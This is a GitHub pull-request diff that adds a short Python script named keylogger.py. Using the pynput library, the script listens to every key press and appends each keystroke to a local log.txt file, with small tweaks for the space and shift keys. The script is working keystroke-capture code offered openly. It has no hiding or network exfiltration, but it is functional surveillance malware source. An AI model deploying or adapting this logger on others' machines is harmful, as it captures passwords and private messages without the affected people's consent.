Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
22 changes: 22 additions & 0 deletions Python/keylogger.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
"""
install pynput library using this command: pip install pynput
to know more about pynput visit: https://pypi.org/project/pynput/
"""
from pynput.keyboard import Listener

def log_keystroke(key):
key = str(key).replace("'", "")

if key == 'Key.space':
key = ' '
if key == 'Key.shift_r':
key = ''
if key == "Key.shift":
key = ''
key+='\n'

with open("log.txt", 'a') as f:
f.write(key)

with Listener(on_press=log_keystroke) as l:
l.join()